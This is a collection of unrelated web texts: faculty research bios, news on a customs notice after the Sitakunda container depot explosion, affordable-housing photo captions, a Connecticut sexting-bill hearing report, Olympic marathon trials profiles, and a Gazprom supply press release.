Dr. Ceniceros is a Professor in the Department of Mathematics. He received his Ph.D. in Mathematics from the Courant Institute of Mathematical Sciences-New York University and was a postdoctoral fellow at Caltech. He has held Visiting Faculty appointments at UCLA, Caltech, and the Universidade de Sao Paulo. Among his honors are being a plenary speaker at an American Mathematical Society meeting, three keynote addresses at international conferences, one distinguished lecture, and the Mochizuki teaching award.
Professor Chandrasekaran's current research interests include the development of fast numerical algorithms for structured matrices. He is also interested in the development of new efficient and accurate higher-order schemes for the discretization and solution of differential and integral equations.
Professor Cheng manages two research labs: SoC Design and Test Lab and Learning-based Multimedia Lab. The SoC Design and Test Lab focuses on developing methodologies, algorithms, techniques, and tools for validating, verifying, testing, and analyzing system-on-chip (SoC), flexible electronics, and 3D devices. The Learning-Based Multimedia (LBMM) Group has wide interests in various algorithms and techniques for multimedia applications, but its current focus is Mobile Computer Vision, Mobile Augmented Reality, and Medical Image Viewing: addressing the main challenges for achieving the required real-time performance of vision and medical image viewing tasks with minimum energy consumption in a mobile, embedded environment, including designing a new energy-efficient parallel architecture for these tasks.
Professor Doherty's current research interests include: combining reactions and separations, crystallization of organic materials, and systems with complex chemistries. The approach links the underlying physical and organic chemistry to the structure of the process flowsheet, and involves theoretical, experimental and computational methods. Applications are focused on specialty chemicals and pharmaceuticals.
Separation with Chemical Reaction: Combining separation with chemical reaction has the potential to create quantum improvements in process technology through the enhancement of reactions by separation (e.g., overcoming reaction equilibrium limitations, selectivity improvement), and by the improvement of separation by reaction (e.g., eliminating azeotropes, reacting away trace components, etc.) Our research is focused on developing new feasibility methods using geometric techniques such as residue curve maps, bifurcation analysis, and attainable regions. This information is used to identify process alternatives, which are ranked by economic performance measures once equipment sizes have been estimated.
Crystallization of Organic Materials: The main focus of this research is to study the effect of process design and operation on crystal quality for organic-solids processes. The key measures of quality that we are interested in are, enantiomorph (for chiral mixtures), polymorph, and crystal shape. Crystal shape can have a major impact on processing as well as product quality. We are developing new methods to account for solution effects, with the ultimate goal of using these new methods to account for crystal shape, as well as enantiomorph and polymorph selection in the conceptual design of solids processes.
Professor Fouque's research focuses on Stochastic Processes, Stochastic Partial Differential Equations, Waves in Random Media and Financial Mathematics.
Jean-Pierre Fouque studied at the University Pierre et Marie Curie in Paris. He held positions at the French CNRS and Ecole Polytechnique, and at North Carolina State University. Since 2006, he is Professor and Director of the Center for Research in Financial Mathematics and Statistics at the University of California Santa Barbara. He was elected Fellow of the Institute of Mathematical Statistics in 2009, Chair of the SIAM Activity Group in Financial Mathematics (2009-2010), and Fellow of the Society for Industrial and Applied Mathematics (SIAM) in 2011.
Professor Fredrickson's group conducts a broad range of research activities in theoretical and computational polymer science, many of these aimed at understanding self-assembling polymers and complex fluids, and especially block copolymer systems. A computational tool that is unique to the group is the "Field-Theoretic Simulation" technique, which is a numerical procedure for simulating statistical field theory models of complex polymer formulations. The group also maintains strong interactions with experimental teams in academia and industry throughout the world.
Professor Fredrickson obtained his Ph.D. at Stanford University in 1984 and subsequently joined AT&T Bell Laboratories, where he was named Distinguished Member of the Technical Staff in 1989. In 1990 he moved to the University of California at Santa Barbara (UCSB), joining the faculties of the Chemical Engineering and Materials Departments. He served as Chair of Chemical Engineering from 1998 to 2001 and in 2001 founded the Mitsubishi Chemical Center for Advanced Materials (MC-CAM). Professor Fredrickson currently holds the Mitsubishi Chemical Endowed Chair in Functional Materials and serves as MC-CAM Director, and Director of UCSB's Complex Fluids Design Consortium. Recent honors include the Polymer Physics Prize of the American Physical Society, the Cooperative Research Award in Polymer Science and Engineering of the American Chemical Society, the Alpha Chi Sigma Award of the American Institute of Chemical Engineers, the Collaboration Success Award of the Council for Chemical Research, and election to the American Academy of Arts & Sciences and the National Academy of Engineering USA.
The research of Professor Gibou is focused on the design and on the applications of high-resolution computational methods for a variety of challenging applications including Free Boundary Problems, CFD, Multiphase Flows, Electrostatics, Materials Science, Computer Vision and Computer Graphics. The main commonality in these applications is that they are described by similar classes of nonlinear partial differential equations.
Professor Gibou is a faculty member in the Department of Mechanical Engineering, in the Department of Computer Science and in the Department of Mathematics. He also leads the CASL lab. He received his PhD from the Applied Mathematics Department at UCLA, and did his post-doctoral research in the Departments of Mathematics and Computer Science at Stanford University. He was awarded a Alfred P. Sloan Fellowship in Mathematics, the Regent's Junior Faculty Fellowship, a NSF Mathematical Sciences Postdoctoral Fellowship and the Robert Sorgenfrey Distinguished Teaching award.
Professor Gilbert's principal research contributions have been in algorithms and software for combinatorial and numerical problems. He has done fundamental work in sparse matrix techniques; he was a primary architect and developer of Matlab's sparse matrix capability and of the SuperLU solver library. Prof. Gilbert's current research applies linear algebra and sparse matrix methods to emerging discrete problems in the analysis of large graphs and networks using high-performance computation.
The research of Professor Kim focuses on the simulation of natural phenomena such as smoke, fire, water, and virtual humans for computer graphics and visual effects purposes. In particular, he works with model reduction, fluid dynamics, and finite element methods.
Professor Kim is a faculty member in the Media Arts and Technology Program, and also has a courtesy appointment in Computer Science. He received his PhD in Computer Science from the University of North Carolina at Chapel Hill, and was a Post-Doc at Cornell University and IBM TJ Watson Research Center. He is the recipient of an NSF CAREER Award, a UCSB Harold J. Plous Award, and a Scientific and Technical Academy Award.
Professor Krintz leads a number of research projects that advance the state-of-the-art in programming systems in ways that improve performance and energy consumption, and that ease development and deployment of scalable distributed applications and software. Recently, her work targets multi-language runtime systems, cloud APIs and services, API composition and governance, and cloud computing platforms.
Prof. Krintz is a Professor of Computer Science at the University of California, Santa Barbara (UCSB). She joined the UCSB faculty in 2001 after receiving her M.S. and Ph.D. degrees in Computer Science from the University of California, San Diego (UCSD). Chandra has advised over 60 undergraduate and graduate students, has published numerous research articles regarding the implementation of programming languages in venues that include ASPLOS, USENIX HotCloud and WebApps, IEEE Cloud, PLDI, OOPSLA and others, participates in efforts to broaden participation in computing, and is the progenitor of the AppScale project. Chandra's efforts have been recognized with a NSF CAREER award, the CRA-W Anita Borg Early Career Award (BECA), and the UCSB Academic Senate Distinguished Teaching Award.
Professor Leal's research is broadly in the areas of fluid mechanics and materials, the latter focused specifically on complex fluids. These problem areas present many multiscale challenges as length scales ranging from the macroscopic continuum level down to the molecular scale must often be achieved in a single computation. There are two types of problem. In one, a single level of physical description applies everywhere in the fluid domain, but there are orders of magnitude differences between the required level of numerical resolution in different parts of the domain. In the second, the range of scale is so great that one must use a molecular level description in some part of the domain, ranging to continuum descriptions elsewhere. In the first class of problems, we are interested in methods for development of dynamic and localized levels of numerical discretization in different parts of the flow domain. For the second class of problems, we are developing novel, new methods to couple MD and continuum calculations, via intermediate mesoscale particle-based simulations with fluctuations (SDPD), for both single component and multicomponent fluid systems. The existing methods, which attempt to directly couple MD and continuum calculations, are generally ineffective.
Professor Leal obtained his PhD in chemical engineering from Satnford University, and has also spent a postdoc and several other periods in the Dept. of Applied Mathematics and Theoretical Physics at Cambridge University in the UK. He was a faculty member for 19 years at Caltech before joining UCSB in 1989. He has held the Chevron Chair at Caltech and the Schlinger Chair at UCSB. He is a member of the NAE and the American Academy of Arts and Sciences, and was awarded the Fluid Dynamics Prize from the APS, the Bingham Medal from the Society of Rheology and the Colburn and Walker Awards from the AIChE.
Optimal switching problems. These are repeated optimal stopping models that can also be viewed as a simplified impulse control setting. They have wide applications in resource management, decision making under uncertainty and exotic derivatives.
Stochastic control under partial observations. Many operations research and financial applications feature agents that have limited knowledge of the stochastic environment. Thus, the problems they face require simultaneous estimation and control. I develop new computational algorithms to make this possible in a robust but tractable framework.
There are numerous applications of the above models; some that I have worked on in detail include Financial and Insurance Mathematics and Sequential Estimation and Control Models.
Professor McMeeking's research is in on mechanics of materials, exploiting theoretical and computational methods to understand structural and functional performance of engineering materials. Recent focus has been on ferroelectric systems, utilization of high temperature materials composed of ceramics and ceramic composites, actuating and shape morphing structures, protection of structures from high intensity blast waves and accompanying shrapnel, and thermal barrier coatings for gas turbine blades.
Professor Meiburg's research interests lie in the general area of fluid dynamics and transport phenomena. His group primarily employs the tools of computational fluid dynamics (CFD), in particular highly resolved direct numerical simulations, in order to obtain insight into the physical mechanisms that govern the spatio-temporal evolution of a wide variety of geophysical, porous media and multiphase flow fields. Occasionally, his group extends their analyses to address issues of linear stability as well. Frequently, they collaborate closely with corresponding experimental investigations. Some current interests focus on gravity and turbidity currents, Hele-Shaw displacements, double-diffusive phenomena in particle laden flows, and internal bores.
Professor Meiburg is a faculty member in the Department of Mechanical Engineering at UCSB, and he directs the Center for Interdisciplinary Research in Fluids (http://www.cirf.ucsb.edu/). He received his Ph.D. from the University of Karlsruhe in Germany and was a postdoctoral fellow at Stanford University. Following faculty positions at Brown University and the University of Southern California, Professor Meiburg joined UCSB in 2000. He served as chair of the Department of Mechanical Engineering from 2003-2007. He has received a Presidential Young Investigator Award, a Senior Research Award from the Alexander von Humboldt Foundation, a Senior Gledden Fellowship from the Institute of Advanced Studies at the University of Western Australia, and a First Prize at Scottish Offshore Achievement Awards. He is a Fellow of the American Physical Society and the American Society of Mechanical Engineers.
Professor Meiring's research focuses on statistics of space-time processes, evaluation of geophysical models, and environmental statistics.
Professor Moehlis' research interests involve using techniques from dynamical systems theory to understand and control natural and technological systems. His application areas include neuroscience (developing algorithms for controlling neurons, inspired by deep brain stimulation of patients with Parkinson's Disease), turbulence (understanding the transition to and nature of shear flow turbulence), energy harvesting (converting vibrational energy to useful power), and collective behavior (fish schooling, social networks, group decision making).
Professor Nisbet's research covers many areas of theoretical ecology. The overarching theme is the use of "individual-based" or "structured" population models to relate population dynamics to the physiology and behavior of individual members of a population. Much work is based on Dynamic Energy Budget (DEB) theory to describe the rates at which individual organisms assimilate and utilize energy and elemental matter. My research group both develops new fundamental theory and applies it to environmental problems. Current applications include ecotoxicology, coral biology, zooplankton ecology and fish bioenergetics. I am on the Executive Committee of the University of California Center for Environmental Implications of Nanotechnology, and am an investigator in the Moorea Coral Reef (MCR) LTER project. I am also continuing some work on a long-standing interest: population dynamics in streams and rivers.
Professor Peters' research focuses on the kinetics of nucleation, electron transfer, and catalytic reactions depend on the properties of short-lived and rarely-visited transition states that cannot be directly observed in experiments. We gain insight into the properties of transition states using molecular simulation and electronic structure theory. Examples include the effects of solution additives on nucleation rates for crystallization, the dominant electron transfer conduits in realistic fluctuating environments, and catalytic reaction mechanisms. When applications pose new challenges beyond the scope of available techniques, we develop theories and algorithms to address those challenges. In particular, we specialize in path sampling methods for free energies and reaction coordinate identification, metrics for reaction coordinate error, methods to obtain accurate rate constants, and multiscale simulation approaches.
Professor Shea's research focuses on developing and applying the techniques of statistical and computational physics to the study of biological problems. Current work involves the investigation of cellular processes such as in-vivo protein folding and protein aggregation.
The research group of Professor Shell uses molecular simulation and theory to understand multiscale, hierarchical interactions in complex soft-matter systems, including peptides, proteins, water and aqueous solutions, electrolyte solutions, and hard particle systems. In particular, his group develops general methods for understanding self-assembly behavior, and is designing new approaches for linking simulations and theories across multiple length and time scales in fundamental, rigorous ways. These efforts are used to understand (1) folding and design principles in proteins; (2) peptide structure, association, self-assembly, and aggregation; and (3) the role of water and the hydrophobic interactions in driving self-assembly processes; (4) the physics of nanobubbles; (5) the thermodynamics of electric double layers; and (6) shape-dictated assembly in hard particle systems.
Professor Shell is a Professor in the Chemical Engineering Department at UC Santa Barbara, having joined the university in 2007. His group develops novel molecular simulation, multiscale modeling, and statistical thermodynamic approaches to address a variety problems in contemporary biophysics and soft condensed matter. Prof. Shell earned his B.S. in Chemical Engineering at Carnegie Mellon in 2000 and his Ph.D. in Chemical Engineering from Princeton in 2005, followed by two years of postdoctoral work at UC San Francisco in the Department of Pharmaceutical Chemistry. He is the recipient of a Dreyfus Foundation New Faculty Award (2007), an NSF CAREER Award (2009), a Hellman Family Faculty Fellowship (2010), a Northrop-Grumman Teaching Award (2011), and a Sloan Research Fellowship (2012).
Professor Tanimoto's research focuses on understanding Earth structure from the surface to the center. It requires understanding of how seismic waves propagate in the interior, the higher frequency end being heavily scattered, messy waves above 1 Hz and the lower frequency end being the ringings of the whole Earth around 1000 seconds.
Professor Van de Walle leads the Computational Materials group and develops and employs first-principles techniques to model the structure and behavior of materials. He has performed extensive studies of semiconductor interfaces and of defects and impurities in semiconductors, with particular emphasis on doping problems and on the role of hydrogen. He has made important contributions to the understanding of wide-band-gap semiconductors, including the nitride materials used for solid-state lighting; oxides for use as transparent conductors or in novel electronic applications; and hydrogen storage materials. His work on Auger recombination and free-carrier absorption has provided new insights in loss mechanisms in optoelectronic devices.
Chris G. Van de Walle has been a Professor in the Materials Department at the University of California, Santa Barbara since 2004. Prior to joining UCSB he was a Principal Scientist at Xerox PARC (1991-2004). He received his Ph.D. in Electrical Engineering in 1987 from Stanford University, performed postdoctoral research at the IBM T. J. Watson Research Center (1986-1988), and joined Philips Laboratories in Briarcliff Manor, New York (1988-1991). Professor Van de Walle is a Fellow of the APS, the AVS, the AAAS, the MRS, and the IEEE, and the recipient of a Humboldt Award for Senior US Scientist, the 2002 David Adler Award from the APS, and the 2013 Medard W. Welch Award from the AVS.
Professor Van der Ven's research seeks to develop first-principles descriptions of non-equilibrium processes in the solid state with a particular goal of generating an understanding of the mechanisms of phase transformations that couple diffusion and structural changes. His group develops and applies first-principles statistical mechanics methods to predict equilibrium and non-equilibrium materials properties. They study a wide range of materials classes, including transition metal oxides and sulfides for energy storage and conversion devices, metallic alloys for aerospace and automotive applications and oxides and hydrides of importance in corrosion processes in nuclear applications.
The primary goal of Professor Yan research is to develop fundamental concepts and new principles of data mining, design intelligent algorithms and build scalable systems. Our current work has concentrated on three key areas: Modeling, managing, and mining large-scale, heterogeneous graphs/networks; Structural and statistical analysis of texts and derived applications such as information extraction, question answering, and information trustworthiness; Intelligent solutions to various cross-domain problems in bioinformatics, business intelligence, computer security, computer systems, and social science.
Prof. Yan holds the Venkatesh Narayanamurti Chair of Computer Science. He received his Ph.D. degree in Computer Science from the University of Illinois at Urbana-Champaign in 2006. He was a research staff member at the IBM T. J. Watson Research Center between 2006 and 2008. His works were extensively referenced, with over 8,000 citations per Google Scholar and thousands of software downloads. He received the NSF CAREER Award, the IBM Invention Achievement Award, the ACM-SIGMOD Dissertation Runner-Up Award, and the IEEE ICDM 10-year Highest Impact Paper Award.
Professor Yang's recent research is in the fields of information retrieval and search, and cloud systems. His past research includes search engines, scalable web services and middleware, scheduling and runtime support for parallel irregular computation, and parallel sparse matrix algorithms.
Professor Yang joined the Department of Computer Science at UCSB in 1993. His research has been in the areas of parallel and distributed systems, web search/mining, and high performance computing with over 100 refereed papers and patents. He served as Chief Scientist for Ask.com (formally Ask Jeeves) from 2001 to early 2010, and also Senior Vice President of Ask.com as the head of its search engineering division in various periods for the development of Ask.com search engine and vertical products. He was the founding Chief Scientist and Vice President of Research and Development from 2000 to 2001 for Teoma.com. He visited Microsoft Bing for search technology R&D in 2010-2011 and advised Panguso.com on search technology in 2012-2013.
Professor Zhang's research interests include uncertainty quantification, tensor computation and model order reduction, with multi-domain applications including design verification and optimization of nano-scale devices and systems (VLSI, MEMS and integrated photonics), modeling and verification of uncertain dynamic systems (e.g., autonomous and robotic systems), and high-dimensional computation for machine learning and biomedical imaging (e.g, MRI).


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Customs asks BM Container for explanations
By John B. Rosalez on September 20, 2022 Complex Chemical Systems
Warns of license termination
The deadly explosions and fires at BM Container Depot in Sitakunda, Chattogram on the night of June 4 killed at least 51 people and injured 250 others. Photo: Star/File
Custom House Chattogram has served a notice to BM Container Depot asking why its private bonded warehousing license should not be terminated following the recent deadly explosions and fires at it.
At least 51 people were killed and 250 others injured in the incident at the Inland Container Depot (ICD), a Dutch-Bangladeshi joint venture in Sitakunda, 20 miles north of the country's main port of Chattogram, on the night of June 4.
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The notice was delivered to the depot's manager on September 15, after a Customs investigative committee issued a report citing six specific reasons for the deadly blasts.
The ICD has already partially started operations on August 29th.
After repeated objections from the ICD board, on Aug. 22, Custom House granted Chattogram approval for partially ongoing operations, subject to two conditions, sources said.
The notice required a written statement within 30 days of alleged breach of the rules of an off-dock installation and operations policy and a private ICD policy and negligence in the performance of duties.
The fact-finding report says no United Nations standard has been met for the storage of hydrogen peroxide-containing canisters from the export-oriented Al-Razi Chemical Complex at the ICD.
The ICD and the Al-Razi Chemical Complex belong to the same owners.
According to the report, the ICD authority did not inform customs about delays in the shipment of the huge quantities of chemicals after the assessment.
The ICD has not followed the rules of the International Maritime Dangerous Goods Code when handling and storing goods such as hydrogen peroxide.
In addition, the ICD agency did not properly notify firefighters of the chemical fire.
Also, there was no fire hydrant system inside and the agency took no steps to secure firefighting tools, sources said.
The ICD agency also did not meet all the requirements of the Bangladesh Fire and Civil Protection Service regarding extinguishing fires.
The ICD agency has no facilities for primary medical care or an ambulance service and has not taken precautions under the International Ship and Port Facilities Code, the report added.
The notice also warned of penalties if no reply was received within the time limit set by the Customs Act.
Mohammad Faijur Rahman, Chattogram Customs Commissioner, signed the notice and forwarded copies to the Chairman of the National Board of Revenue, the Chairman of the Port Authority of Chattogram and the Custom House Chattogram Joint Commissioner of Customs (off Dock).
"We have received the copy and will submit our responses within the timeframe," the depot's director, Mujibur Rahman, told The Daily Star.
Earlier, the Cabinet Department issued letters to affected ministries and departments, urging them to take steps on the basis of 20 recommendations from a committee of inquiry formed on July 25 by the departmental commissioner's office.
This committee submitted another report on July 6.
The report found gross negligence on the part of depositary owners, lax oversight and law enforcement by government agencies.
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Sarah Nader- snader@shawmedia.com Eugene Daniels of McHenry tours an apartment at Green Trees Apartments in Huntley Monday, March 7, 2016. Daniels and his wife have struggled to fine affordable housing in McHenry County. Green Tree Apartments is owned and managed by the McHenry County Housing Authority. This unit was being offered at the current base rent of $375 a month.
Sarah Nader- snader@shawmedia.com Eleanor Palitsch of Huntley shows Eugene Daniels (left) of McHenry an apartment at Green Trees Apartments in Huntley Monday, March 7, 2016. Daniels and his wife have struggled to fine affordable housing in McHenry County. Green Tree Apartments is owned and managed by the McHenry County Housing Authority. This unit was being offered at the current base rent of $375 a month.
Sarah Nader- snader@shawmedia.com Eugene Daniels of McHenry points out the handicapped accessible bathroom while touring an apartment at Green Trees Apartments in Huntley Monday, March 7, 2016. Daniels and his wife have struggled to fine affordable housing in McHenry County. Green Tree Apartments is owned and managed by the McHenry County Housing Authority. This unit was being offered at the current base rent of $375 a month.
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Judiciary Committee Hears 'Sexting' Bill
by Chase Carnot March 24, 2010, 12:32 pm January 21, 2021, 5:47 pm
Megan Hansen, a psychology major at Post University, told legislators that she received a nude photo of a female classmate on her cellphone when she was in high school. The female classmate's ex-boyfriend sent the photo to other students as revenge after the two broke up.
"When I received the picture, I felt embarrassed and ashamed for knowing that someone would do this to another person," Hansen said.
Hansen and other Post University students were at the Capitol Monday testifying in favor of a bill that would make it a misdemeanor for teens to "sext" each other with sexually-explicit photos sent with a cellphone or other "electronic communication device." Teens, like adults, currently face felony charges and could be forced to register as a sex offender for possessing child pornography if the person depicted in an explicit photo is underage.
According to a 2009 survey conducted by Cox Communications for the National Center for Missing and Exploited Children, 19 percent of teens surveyed had sent, received or forwarded a sext message, either by cellphone or email. While 60 percent of those surveyed sent photos to a boyfriend or girlfriend, 11 percent sent them to someone they did not know.
Rep. William Hamzy, R-Terryville, asked Amanda Prince, a sociology major at Post University who was testifying, if she thought the act of sending a photo to a boyfriend or girlfriend should be treated differently than further dissemination of the photo, possibly by those intending to bully the subject.
"I think they should both be charged," Prince said. But "sending the photo out of trust is different than sending it out of spite."
Hamzy pointed out that the bill currently treats the two acts the same.
Prince said that she is against adolescents being charged with a felony for sexting but she agrees that it should be a misdemeanor. "I don't think that something you do at 16 should follow you for the rest of your life."
Rep. Rosa Rebimbas, R-Naugatuck, who helped draft the legislation, said in her written testimony that children don't always understand the consequences of their actions. "This proposed bill allows the punishment to fit the crime and provides another option for prosecutors to hold minors accountable for their actions."
But Lt. Paul Vance, state police spokesman, said in a phone interview Wednesday that he wasn't aware of any teens having been arrested or prosecuted under the state's child pornography statutes for sexting. He did say however, that if the facts showed they were in violation of the child pornography statutes, they would be charged with a felony.
Deborah Del Prete Sullivan, legal counsel and executive assistant public defender, said the Office of Chief Public Defender opposes the bill because it would target teens for consensual sexual activity.
She proposed that language be added to the bill allowing teens with no more than three years age difference to "consensually exchange" photos of themselves as longs as they are not distributed further. She noted that this would account for changes made to state law in 2007 increasing the maximum age difference for consensual sexual activity between teens from two to three years.
Michelle Cruz, the state Victim Advocate, said it is better to address the issue through education than establishing a criminal offense for teens. "The spirit and intent behind our state's pornography statutes was not to penalize children who, in their infinite wisdom, decided to text their girlfriend or boyfriend a nude or partially naked photograph of themselves. The purpose of the pornography statutes was, rather, to protect our children."
In a press release, Gov. M. Jodi Rell said she supported the bill but asked the committee to add language that would also ban teens from texting sexually-explicit words as well as images.


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The Road to the Trials
Your source for info about U.S. Olympic trials marathon qualifiers
The 2012 U.S. Olympic trials marathons will be held on Jan. 14 in Houston. This page offers a collection of stories about runners and issues tied to the trials. Here are updated lists of men's and women's qualifiers.
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Max King: "Just as all of the other Olympic trials marathon qualifiers started their run up to this week's race, mine started four years ago."
California Girls: San Francisco's Impala Racing Team is sending 14 sub-elite runners — roughly 6 percent of the field — to the women's U.S. Olympic trials marathon.
Johanna Ziegler: She's qualified for Olympic Trials 6 times total, in three different sports.
Meghan Armstrong Peyton: This 1500m runner takes on her first marathon -- at the Trials.
Amy Hauswirth: Amy Hauswirth made a remarkable progression the past three years to where she finds herself this winter, one of a select group of masters women who have qualified for the 2012 Olympic trials marathon.
The Lehmkuhles: Kristen Nicolini Lehmkuhle and her husband, Jason Lehmkuhle, have found solace in the lifestyle limbo that exists between elite athlete and running mortal.
Ryan Bak: Since moving with his wife to Bend, Ore., Bak had significantly upped his mileage and started doing the occasional workout with his old Oregon Track Club Elite teammate Max King. He found the trail running in the Bend vicinity rejuvenating and could tell his fitness was returning quickly.
Mbarak Hussein: Hussein and his six siblings grew up in the small town of Kapsabet, outside of Eldoret, Kenya. Ibrahim Hussein, his older brother by seven years, took to running and wrote himself into history in 1988 as the first African champion of the Boston Marathon.
Blake Russell: While it might be an overstatement to say an anecdote can sum up an athlete's career, in the case of Russell it certainly seems to be a case of "like mother, like son."
Wendy Thomas: There is a certain beauty in naiveté. Take Wendy Thomas. The 33-year-old replied last spring to an online advertisement seeking dedicated distance runners. Having hit a small plateau in her nascent career, Thomas figured she had nothing to lose
Dot McMahan: When 34-year-old Dot McMahan crossed the finish line of the 2011 Grandma's Marathon, her third-place, 2:31:48 run was more than a PR. In 2008, McMahan had wagered her running career on the flip of a coin. And it had just paid off.
Desiree Davila: Davila lives in an underwhelming red brick ranch-style home that her boyfriend owns and in which the fastest American ever at Boston pays a monthly rent. She apologizes for the mess as we move through the house; in truth, it has that bachelor feel of too much open space.
Adriana Nelson: Call it luck, fortune, or fate, but things have a way of working out for Adriana Nelson. The Romanian-born marathoner, who competed for her native country under the last name Pirtea, became an American citizen on April 4, after nearly a decade in the United States. A week earlier, she'd been invited to run for Romania in the London Olympics.
Working Marathon Men: The three men who make the 2012 U.S. Olympic marathon team on Jan. 14 in Houston will most likely be professional runners. Not too far behind them, however, will be some runners who have become among the best in the country around the confines of full-time employment.
Michelle Suszek: For the past three years Michelle Suszek has juggled the seemingly incongruous lives of professional dancer by night/national-class runner by day, clocking 80 to 130 miles per week as she prepares for the Olympic trials marathon in Houston in January.
Note: Suszek also placed 21st at the 2011 World Mountain Running Champs.
Amy Hastings: Amy Hastings? 2:27:03?
I was having trouble reconciling the name and time last March as word spread that the 27-year-old from the Mammoth Track Club had just run the third-fastest marathon debut in American history in Los Angeles. Such debuts are usually hyped for months in advance.
Nan Kennard: A magnet holds Nan Kennard's weekly training plan to the refrigerator. Next to it is a far more important schedule, though: her family's weekly activities outlined on a standard sheet of white paper.
Stephanie Rothstein: In January, Stephanie Rothstein dropped her marathon PR from 2:40 to 2:29. Her road to that breakthrough was longer than most.
Shalane Flanagan: Flanagan, who is nearing her 29th birthday, returns from her warm-up, works through a series of drills and strides, and runs 13 600m repeats at 10K pace with short jogging recoveries. This is nearly 8,000m worth of work and it is done at 30-minute 10,000m pace, which only five women in history have ever sustained for an entire 10,000m race.
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Gusar LLC to Supply Gazprom with Exploratory Drilling Technology for Russian Offshore Operations
Gazprom and Gusar LLC signed a contract for the supply of subsea wellhead equipment for offshore exploratory drilling in Russia
Gusevo Plant Gusar LLC entered into a contract for the supply to Gazprom PJSC in 2019 of the mudline suspension system equipment and maintenance services for exploratory drilling in the Russian offshore areas. The mudline system is intended for a new prospecting well in an offshore Kara Sea block licensed to PJSC Gazprom.
"In case of successful performance of the contract in 2019, it will be extended and further deliveries of the equipment will be scheduled in 2020 and onwards," noted Mr. Alexander Berezkin, CEO at Gusar LLC. "The implementation of this project for the supply of exploration equipment will open up new opportunities to participate in the exploration drilling program on the Russian continental shelf."
According to Mr. Kirill Molodtsov, Deputy Minister of Energy of the Russian Federation (Rossiyskaya Gazeta, March 28, 2018, No. 64 (7527)), the volume of exploratory drilling in Russia is estimated at 75-80 wells to be constructed between 2018 and 2026, with the drilling activity expected to peak in 2020-2022.
Back in 2015, as part of the program to reduce the dependence of the Russian industry on imports, Gusar LLC signed a licensing agreement with the Scottish Plexus plc authorizing the localization the manufacture of its mudline suspension system and single-piece drillstring at Gusar's plant in Gus-Khrustalny, Russia.
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